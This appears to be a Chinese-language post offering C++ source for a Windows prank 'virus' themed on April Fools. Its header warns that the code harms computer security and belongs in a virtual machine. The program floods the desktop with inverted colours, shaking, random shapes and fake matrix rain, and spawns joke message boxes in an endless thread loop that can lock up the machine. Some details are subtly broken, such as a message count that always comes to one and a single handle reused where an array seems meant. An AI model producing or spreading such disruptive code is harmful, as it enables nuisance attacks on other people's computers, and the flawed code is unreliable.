內容供學習使用,不得轉賣,代碼復制后請1小時內刪除,此代碼會危害計算機安全,謹慎操作 并在虛擬機里運行此代碼!,病毒帶來后果自負!
#include <windows.h>
#include <cmath>
#include <thread>
using namespace std;
// 屏幕特效函數聲明
void InvertScreen();
void ScreenShake();
void RandomRectangles();
void ColorWave();
void MatrixEffect();// 彈窗文本內容
const char* messages[] = {"巧克力病毒入侵中...","正在將文件轉換為貓咪","檢測到幽默細胞不足!","系統即將充滿笑話","正在下載無限笑料","警告:滑稽程度超標","初始化傻笑協議..."
};// 彈窗圖標類型
const UINT icons[] = { MB_ICONWARNING, MB_ICONINFORMATION, MB_ICONERROR };// 彈窗按鈕組合
const UINT buttons[] = { MB_OK, MB_OKCANCEL, MB_YESNO };void ShowRandomDialog() {// 隨機選擇消息、圖標和按鈕static int count = sizeof(messages) / sizeof(messages);MessageBoxA(NULL,messages[rand() % count],"四月傻瓜警告",buttons[rand() % 3] | icons[rand() % 3]);
}// 特效1: 屏幕反色
void InvertScreen() {HDC hdc = GetDC(NULL);RECT rect;GetWindowRect(GetDesktopWindow(), &rect);BitBlt(hdc, 0, 0, rect.right, rect.bottom, hdc, 0, 0, NOTSRCCOPY);ReleaseDC(NULL, hdc);
}
// 特效2: 屏幕抖動
void ScreenShake() {for (int i = 0; i < 10; ++i) {HWND hwnd = GetDesktopWindow();RECT rect;GetWindowRect(hwnd, &rect);int offset = (i % 2) * 20 - 10;MoveWindow(hwnd, offset, offset,rect.right - rect.left,rect.bottom - rect.top, TRUE);}
}// 特效3: 隨機矩形
void RandomRectangles() {HDC hdc = GetDC(NULL);for (int i = 0; i < 50; ++i) {int x1 = rand() % GetSystemMetrics(SM_CXSCREEN);int y1 = rand() % GetSystemMetrics(SM_CYSCREEN);HBRUSH brush = CreateSolidBrush(RGB(rand() % 255, rand() % 255, rand() % 255));SelectObject(hdc, brush);Rectangle(hdc, x1, y1, x1 + rand() % 200, y1 + rand() % 200);DeleteObject(brush);}ReleaseDC(NULL, hdc);
}// 特效4: 彩色波浪
void ColorWave() {HDC hdc = GetDC(NULL);RECT rect;GetWindowRect(GetDesktopWindow(), &rect);for (int i = 0; i < 500; i++) {int hue = (GetTickCount() / 10) % 360;COLORREF color = RGB((sin(hue * 3.14159265 / 180) + 1) * 127,(sin((hue + 90) * 3.14159265 / 180) + 1) * 127,(sin((hue + 180) * 3.14159265 / 180) + 1) * 127);HBRUSH brush = CreateSolidBrush(color);FillRect(hdc, &rect, brush);DeleteObject(brush);}ReleaseDC(NULL, hdc);
}// 特效5: 偽矩陣數字雨
void MatrixEffect() {HDC hdc = GetDC(NULL);int width = GetSystemMetrics(SM_CXSCREEN);int height = GetSystemMetrics(SM_CYSCREEN);for (int i = 0; i < 1000; i++) {SetTextColor(hdc, RGB(0, 255, 0));SetBkMode(hdc, TRANSPARENT);for (int j = 0; j < 50; j++) {int x = rand() % width;int y = rand() % height;char c = '0' + rand() % 10;TextOutA(hdc, x, y, &c, 1);}BitBlt(hdc, 0, 0, width, height, hdc, 2, 2, SRCCOPY);}ReleaseDC(NULL, hdc);
}int main() {// 設置隨機種子srand(GetTickCount());// 啟動多個特效線程HANDLE threads;threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)InvertScreen, NULL, 0, NULL);threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ScreenShake, NULL, 0, NULL);threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)RandomRectangles, NULL, 0, NULL);threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ColorWave, NULL, 0, NULL);threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)MatrixEffect, NULL, 0, NULL);// 持續顯示彈窗while (true) {threads = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)ShowRandomDialog, NULL, 0, NULL);Sleep(300);}return 0;
}